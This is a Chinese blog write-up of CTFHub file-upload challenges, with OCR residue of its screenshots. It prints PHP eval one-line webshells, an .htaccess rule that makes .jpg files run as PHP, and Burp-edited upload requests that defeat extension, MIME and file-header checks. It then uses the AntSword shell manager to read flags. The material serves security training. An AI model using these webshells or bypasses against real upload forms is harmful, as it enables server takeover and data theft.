CTF之旅(CTFHub技能树+详细Write up+持续更新ing)(文件上传)

原创

迷失的蓝色小恐龙 ● 于 2021-10-23 22:27:49 发布 ● 3354 ◆ 收藏
 分类专栏: CTF 文章标签: 安全 web 1024程序员节
 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
 本文链接: https://blog.csdn.net/weixin_51563603/article/details/120920301
 版权



CTF 专栏收录该内容

9 篇文章 1 订阅 订阅专栏

目录

CTFHub题目WriteUP地址汇总

文件上传

无验证

前端验证

.htaccess

MIMW验证

文件头检查

CTFHub题目WriteUP地址汇总

本来不想分段的,但是后来发现要写的东西太多了,就写了个首页,汇总一下地址,大家见谅

首页地址

文件上传

无验证

这个就是给我们打基础用的,首先去下载中国蚁剑:网址 再写一个一句话木马并上传:

<**?php** @eval(**\$_POST**["shell"]);?>

之后访问这个地址: http://challenge-24a8e700e9152446.sandbox.ctfhub.com:10800/upload/1.php 看到没有出现404说明上传成功

打开蚁剑,添加数据:

Ø 中国蚁剑					- 🗆 X
AntSword 编辑 窗口	调试				
• •			>_ 虚拟终端		•
≔ 数据管理 (0)			□ 文件管理		■分类目录(1) >
URL地址	IP地址	物理位置	● 数据操作 网站备注 ● 浏览网站	更新时间	●添加 A 重命名 ■ 删除
			 ② 复制URL 		ロ 默认分类 🛛 💿
			□ 加载插件		
			PP 插件市场		
			● 添加数据		
			☞ 编辑数据		
			★ 删除数据		
			┏ 移动数据		
			④ 创建副本		
			Q 搜索数据		
			◎ 清空缓存		
			直 清空所有缓存		
					CPDN @ 还天的监巴小恐龙

这里有个很重要的点,你输入的连接密码必须是你之前一句话木马里\$_POST["XXX"]的XXX,要不然会输出返回数据为空,我这 里就是shell(靠因为我太菜了不知道这个原理是什么,导致我一开始以为密码随便设就好啦,结果一直给我返回数据为空) 添加后点击测试连接出现这个样子就是好了

• =								Þ
≔ 数据管理 (1)						■ 分类目录	t (1)	>
URL地址	IP地址	物理位置	网站备注	创建时间	更新时间	⊙添加	A重命名	∎ 删除
http://challenge-24a8e700e91524	 4 47.96< 編輯数 原存 基础電話 URL地址 连接密码 网站备: 编码设括 连接类型 	据 (http://chalk ×清空 () 5 5 5 5 6 7 8 8 9 8 9 1 9 1 9 1 9 1 9 1 9 1 9 1 9 1	enge-24a8e700 则试连接 Illenge-24a8e7004 : (不推荐) n (不推荐)	e9152446.sandbox.ctfl	.ctfhub.com:108 □ ×		类	0
					-	arh.		8



双击打开:

· •							۱.	
≔ 数据管理 (1)						■ 分类目:	录 (1)	>
URL地址	IP地址	物理位置	网站备注	创建时间	更新时间	●添加	A重命名	倉刪除
http://challenge-24a8e700e91524	47.98.148.7	加拿大 CZ88.NE		2021/10/23 21:14:54	2021/10/23 21:22:16	口默认	分类	1
					(ISDN @i	迷失的蓝色	小恐龙

找一下文件夹里就可以找到flag了

▲ ▲						
□目录列表(1) <	① 文件列表 (3)		^			
	 ●新建 ▼ ↑上层 ご 刷新 ★ 主目录 ■书签 ▼ 	/var/www/html/	→读取			
🖻 🗖 var	名称	日期 大小	属性			
- btml	C upload	2021-10-23 13:08:00 4 Kb	0755			
upload	flag_308229749.php flag_30829749.php flag_30829749.p	2021-10-23 12:41:06 42 b	0644			
	🔊 index.php	2020-02-29 15:26:59 1.21 Kb	0644			

▲ ▲ 47.98.148.7 ⊗		•
□ 编辑: /var/www/html/flag_308229749.php		_ a ×
	🖺 保存	📰 高亮 👻 👰 用此编码打开 👻
1 php // ctfhub{e9ea4debc8425b27dfd93077}</th <th></th> <th></th>		
2		
	CSDI	N@迷失的蓝色小恐龙

没办法第一次搞文件上传漏洞,磕磕绊绊的,请谅解。

前端验证

这波f12打开分析源代码,得知过滤的类型:

自动换行 🗆

```
1 <script>alert('上传成功')</script>上传文件相对路径<br>bpload/1.php<!DOCTYPE html>
 2
   <html>
 3
   <head>
       <meta charset="UTF-8">
 4
       <title>CTFHub 文件上传 - js前端验证</title>
 5
6
   </head>
   <body>
 7
8
       <h1>CTFHub 文件上传 - js前端验证</h1>
9
       <form action="" method="post" enctype="multipart/form-data" onsubmit="return checkfilesuffix()">
           <label for="file">Filename:</label>
10
           <input type="file" name="file" id="file" />
11
12
           \langle br \rangle
13
           <input type="submit" name="submit" value="Submit" />
14
       </form>
15
   <script>
16
   function checkfilesuffix()
17
    {
       var file=document.getElementsByName('file')[0]['value'];
18
       if(file==""||file==null)
19
20
       {
21
           alert("请添加上传文件");
22
           return false;
       }
23
24
       e1se
25
       {
           var whitelist=new Array(".jpg",".png",".gif");
26
```

```
var file_suffix=file.substring(file.lastIndexOf("."));
27
28
           if(whitelist.indexOf(file_suffix) == -1)
29
           Ł
30
               alert("该文件不允许上传");
31
               return false;
           }
32
       }
33
34 }
35 </script>
36 </body>
37 </html>
38
```

CSDN @迷失的蓝色小恐龙

接下去有几种方式,提供个网址,里面介绍了很多方法:网址

我用的是抓包方法:

把刚刚1.php修改为1.jpg,打开burp suite,抓包: 把刚刚的1.jpg变成1.php

Burp Intruder Repeater Window Help						
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Compar	rer Extender	Project options	User options	Alerts		
1 ×						
Go Cancel < v > v			Farget: http://cl	hallenge	e-d96b63dbecd8072a.sandbox.ctfhub.com:10800 📝	?
Request	Respons	e				
Raw Params Headers Hex	Raw He	eaders Hex				
POST / HTTP1.1	HTTP/1.1 20	00 OK				
Host: challenge-d96b63dbecd8072a.sandbox.ctfhub.com:10800	Server: oper	nresty/1.19.3.2				
Content-Length: 322	Date: Sat, 2	3 Oct 2021 13:55:	36 GMT			
Cache-Control: max-age=U	Content-Typ	e: text/html;chars	et=utf-8			
Orginia: http://challenge.d96663dbecd8072a.sandbox.ctfbub.com:10800	Connection:	close				
Content-Type: multipart/form-data: boundary=WebKitFormBoundary1ixfh219IrAaAuGZ	X-Powered-F	Bv: PHP/7.3.14				
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,	Vary: Accep	ot-Encoding				
like Gecko) Chrome/94.0.4606.81 Safari/537.36	Access-Cor	trol-Allow-Origin: *				
Accept:	Access-Cor	trol-Allow-Headers	: X-Requested-\	With		
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng ,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9	Access-Cor	trol-Allow-Method	s: *			
Referer: http://challenge-d96b63dbecd8072a.sandbox.ctfhub.com:10800/	<script></script>					

之后就是和上面题一样了:



し「「TUD メイナエク - 」>別喃沙炡

Filename: 选择文件 未选择任何文件

Submit

CSDN @迷失的蓝色小恐龙

• =								Þ
Ⅲ 数据管理 (1)							▶ 分类目录 (1)	>
URL地址	IP地址	物理位置	网站备注	创建时间	更新时间		 ○添加 ▲ 重命名 首 	删除
http://challenge-24a8e700e91524	47.98	(http://challe	nge-24a8e700e	9152446.sandbox.	.ctfhub.com:108 C	×	🗅 默认分类	1
	🖺 保存	×清空 🔿 🕅	试连接					
	自基础配置		~					
	URL地址 连接密码 网站备注 编码设置 连接类型	* //challenge * shell UTF8 PHP 编码器	2-d96b63dbecd8()72a.sandbox.ctfhub.o	com:10800/upload/1.php			
	6 请求信息	 deraut random base64 	(不推荐) (不推荐)			*		
	₡ 其他设置					^		
					~	成功 连接成 CSJ	^{城功!} DN-@迷失的蓝色小别	× 匙龙



本题结束

.htaccess

这个题目还是很妙的,个人感觉 一开始和之前一样上传1.php,结果显示类型匹配错误 打开f12查看源码,发现里面有后端的源码,看了下类型,说明它过滤的很多后缀名



接下来我去搜了一下如何绕过后端验证文件上传的方法,这个网址里面讲的很清楚,推荐:网址 在他的介绍下我采用了大写的方式,1.pHp,结果不行。。

上传文件相对路径 upload/1.pHp

CTFHub 文件上传 - htaccess

Filename: 选择文件 未选择任何文件

CSDN @迷失的蓝色小恐龙

访问出现这个说明没成功,服务器没把pHp当作普通的php做解析



<?php @eva1(\$_POST['shell']); echo"luck"; ?>

再去网上搜,发现可以这样。。

先上传一个Apache专属的.htaccess配置文件,里面包含一个设置,意思就是让.jpg后缀的也当作php来解析

🧾 .hta	ccess - id	事本				
文件(F)	编辑(E)	格式(O)	查看(V)	帮助(H)		
AddType application/x-httpd-php .jpg						

上传文件相对路径 upload/.htaccess

CTFHub 文件上传 - htaccess

Filename: 选择文件 未选择任何文件 Submit

CSDN @迷失的蓝色小恐龙

接下来我们就可以上传我们的1.jpg啦

上传文件相对路径 upload/1.jpg

CTFHub 文件上传 - htaccess

Filename: 选择文件 未选择任何文件

Submit

CSDN @迷失的蓝色小恐龙

出现这个说明成功了

$\leftrightarrow \rightarrow c$	С▲ 不安全	challenge-239e6e492b08f227.sandbox.ctfhub.com:10800/upload/1.jpg
1 应用	10 A 10	

luck

之后就是跟上面一样啦

• •			•
□ 添加数据		_ a ×	●分类目录(1) >
O 添加 × 漕	空 》 测试连接		●添加 A 重命名 ■ 删除
自基础配置		~	🗅 默认分类 🚺
URL地址 *	>://challenge-239e6e492b08f227.sandbox.ctfhub.com:10800/upload/1.jpg	A	
连接密码 *	shell		
网站备注			
编码设置	UTF8		
连接类型	PHP		
	编码器		
	 ● default (不推荐) 		
	○ random (不推荐)		
	O base64		
	⊖ chr		
	🔘 chr16		
	O rot13		
	解印器		
	(•) default		

- deser	
	stinh 8
e 请求信息	
o°。其他设置	CSDN @迷失的蓝色小恐龙

这边要注意一点,把flag文件打开后可能没有flag,这不是出问题了而是要把蚁剑刷新一下,我当初还以为是出bug了结果重开了一次,浪费了 30金币我靠

本题结束

MIMW验证

可能很多人不知道什么是MIME?

不过没关系,那你一定听说过文件内容类型或者说通过抓包你一定听说过 **Content-Type: text/html** 这种类似的,其实,这就是 MIME。

那么只要在抓包中看看Content-Type是啥就好了

先试试看一些文件类型能不能上传成功

试了之后发现.gif格式是可以上传的

那么我们先上传一个.gif格式的文件,再抓包,看看Content-Type:

p intruder Repeater Window Heip	
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options	Alerts
Intercept HTTP history WebSockets history Options	
Request to http://challenge-d8eb0a6b940abd56.sandbox.ctfhub.com:10800 [47.98.148.7]	
Forward Drop Intercept is on Action	Comment this item
Raw Params Headers Hex	
POST / HTTP/1 1	4
F*************************************	[
Cr	
http://	
The Poundary BeNaMA liGz KweXOK	
it: tr	0.9
Jord Site Strong deflate	
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close	
WahKitEormBoundaryBoNaM5.IIGzKweXQK	
Content-Disposition: form-data; name="file"; filename="1.gif"	
Content- i ypp: image/git	
WebKitFormBoundarvBoNgM5JiGzKweXQK	
Content-Disposition: form-data; name="submit"	
Submit	
WebKitFormBoundaryBpNgM5JjGzKweXQK	
	I
? < + > mime	CSDN @迷失的蓝色小母kias

复制下来,再上传一个.php文件,把MIME类型改掉:

Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts

Intercept HTTP history WebSockets history Options	
Request to http://challenge-d8eb0a6b940abd56.sandbox.ctfhub.com:10800 [47.98.148.7]	
Forward Drop Intercept is on Action	Comment this item
Raw Params Headers Hex	
POST / HTTP/1.1	Ā
Host: challenge-d8eb0a6b940abd56.sandbox.ctfhub.com:10800 Content Length: 324	
Cache-Control: max-age=0	
Upgrade-Insecure-Requests: 1 Origin: http://challange.dtp.bDo6b9.00.phdE6.com/tec.com/10900	
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryL1P0kdAG9ucSYPpZ	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36	
Referer: http://challenge-d8eb0a6b940abd56.sandbox.ctfhub.com:10800/	
Accept-Encoding: gzip, deflate	
Connection: close	
WebKitEormBoundary11P0kdAG9ucSYPn7	
Content-Disposition: form-data; name="file"; filename="1.php"	
Content-Type image/gif	
php @eval(\$_POST['attack']);?	
WebKitFormBoundaryL1P0kdAG9ucSYPp2 Content-Disposition: form-data; name="submit"	
Culumi	
WebKitFormBoundaryL1P0kdAG9ucSYPpZ	
	, in the second s
? < + > mime	CSDN @迷失的蓝色小恐城。
上住式中国	
上で风切・	
ge-d8eb0a6b940abd56 sandbox ctfhub com:10800 显示	
ge debodobb-odbubo.sandbox.ctmub.com.roboo w/j/	
上传成功	



之后就是跟上两题一样了

				Þ
□ 编辑数据 (ht	ttp://challenge-874b612f6aa11374.sandbox.ctfhub.com:10800/upload/1.jpg)	_ @ X	■ 分类目录 (1)	>
□ 保存 × 第	青空 ② 测试连接		●添加 A 重命名 首	删除
自基础配置		*	□ 默认分类	0
URL地址 *	http://challenge-d8eb0a6b940abd56.sandbox.ctfhub.com:10800/upload/1 attack UTF8 ▼ PHP ▼ 鎬码器 ● default (不推荐) ● random (不推荐) ● base64			

	⊖ chr	
	O chr16	
	O rot13	
	解码器	
	default	
e 请求信息	<u> </u>	✓ 成功 達接成功!
¢◎ 其他设置		CSDN_@迷失的蓝色小恐龙

 III □ 47.98.148.7 ⊗ 	Þ
□ 编辑: /var/www/html/flag_2175112271.php	_ @ X
	□保存 III 高亮 ▼ 個用此编码打开 ▼
1 php // ctfhub{09ac64b9da7cd5038e1ecaf2}</th <th></th>	
2	
	CSDN @迷失的蓝色小恐龙

本题结束

文件头检查

经验证,.png的是可以上传的 用Notepad++打开png文件,复制整个文件:

	-	٥	\times
文件(F)编辑(E) 搜索(S) 视图(V)编码(N) 语言(L) 设置(T) 工具(O) 宏(M) 运行(R) 插件(P) 窗口(M) ?			3
1 ZEEPFWG			1
2 803			
			_
4 IHDR RUDANUM SODRUGARUM SODRUGARUM SODRUGARUM RUMARUM SODRUGARUM RUMARUM SODRUGARUM SODRUGARUM RUMARUM SODRUGARUM SODRUGAR	ABBRED-COUCCUDEN	DNUDI H	END
CSDI	N @迷失的蓝色	い恐	龙

用bp抓包,把文件复制到1.php前面,再把MIME改成image/png

		- 0	×
Sector and a	99(9443) (9443) (7239(733)=(109)(NUMNUMIE	^ END(
Burp Suite Professional v1.7.37 - Temporary Project - licensed to surfersyz Burp Intruder Repeater Window Help Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts	- 0 X		

	Go Cancel < v > v	Target: http://challenge-bffbc898389fZaad.sandbox.ctfhub.com:10800 💉 👔
	Request	Response
	Raw Params Headers Hex	Raw Headers Hex
	POST / HTTP/1.1	HTTP/1.1 200 OK
	Host: challenge-bffbc898389f2aad.sandbox.ctfhub.com:10800	Server: openresty/1.19.3.2
	Co: 4425	Date: Sat, 30 Oct 2021 03:04:11 GMT
	Cachu	Content-Type: text/html;charset=utf-8
	narada.laass:	Content-Length: 535
		Connection: close
	voine nultipart " Zi	X-Powered-By: PHP/7.3.14
	User-Ager. ; x64) AppleWebKit/5.17.36 (KHTML, like Gecko)	Vary: Accept-Encoding
	Chrome/95.U	Access-Control-Allow-Origin: *
	Accept:	Access-Control-Allow-Headers: X-Requested-With
	text/html,applic=**	Access-Control-Allow-Methods: *
	plication/sigi	
	Referen: http://conailen.decomb.c89834 b.com:10800/	<script>alert("上传成功)</script> 上传文件相对路径 upload/1.php
	Accept-Encor	<html< td=""></html<>
	Accept-Langua,en-US;q=0.8,en;q=0.7	<head></head>
	Connection: close	<meta charset="utf-8"/>
		<title>CTFHub 文件上传 · 文件头检测</title>
	WebKitFormBoundary1y4dhkVwBGDeuZZI	
	Content-Disposition: form-data; name="file"; filename="1.php"	<body></body>
	Content-Type: image/png	<h1>CTFHub 文件上传,文件头检测</h1>
		<form action="" enctype="multipart/form-data" method="post"></form>
	料NG	<label for="file">Filename:</label>
		<input id="file" name="file" type="file"/>
	IHDR □ □□□ 1全S□ pHYs □ □□□+□□ □tEXtSoftware Snipaste]□□ ◆IDAT□概0本□	
	ロロ C型= IEND版 E php @eval(&_POSI['attack']);?	<pre><input name="submit" type="submit" value="Submit"/></pre>
	WebkitFormBoundary1y4dhkVwBGDeuZZI	
	Content-Disposition: form-data; name= submit	
	Submit	
	Vvebkitt-ormBoundary1y4dnkvwBGDeuZZI	
¢		
Normal And Ela	I S I Pype a search term 0 matches	CCDNL ON the search term
NVIIII III III	l.,	「こう」」の変活的歴史

访问地址,出现这个说明正常:

← → C ▲ 不安全 | challenge-bffbc898389f2aad.sandbox.ctfhub.com:10800/upload/1.php PNG [] IHDR [] [] [] @wS@ pHYs [] [] @+[] [] ItEXtSoftware Snipaste] @ [] DAT [] @c0@~[] [] C@@= IEND@B`@

接下来就算老套路了

◀ 👪 🗅 47.98.148.7 🛞								÷
≔ 數据管理 (1)						■ 分类目3	录 (1)	>
URL地址	IP地址	物理位置	网站备注	创建时间	更新时间	⊙添加	A 重命名	■ 删除
http://challenge-d8eb0a6b940abd 4	 Participant (1998) 中国市政部部 中国市政部 中国市政部	(http://challes × 清空 ③ 源 http://chall attack UTF8 PHP 编码器 ④ default ○ random ○ base64	nge-d8eb0a6b 响式连接 lenge-bffbc8983i (不推荐) (不推荐)	940abd56.sandbox.	ctfhub.com:108 0 3	× ★ 本 本 本 本 大 本 大 小 本 大 大 小 本 大 、 、 、 、 、 、 、 、 、 、 、 、 、	₩ 大的 <u></u> 広色	●

1 34	RB. / vol/www/indii/indy_tot3231112.php		
		日 保存	■ 高亮 ▼ ⑧ 用此编码打开 ▼
1	<pre><?php // ctfhub{3c908b7660b61b16471ff303}</pre></pre>		
2			
		CSDN	@迷失的蓝色小恐龙

本题结束

持续更新ing...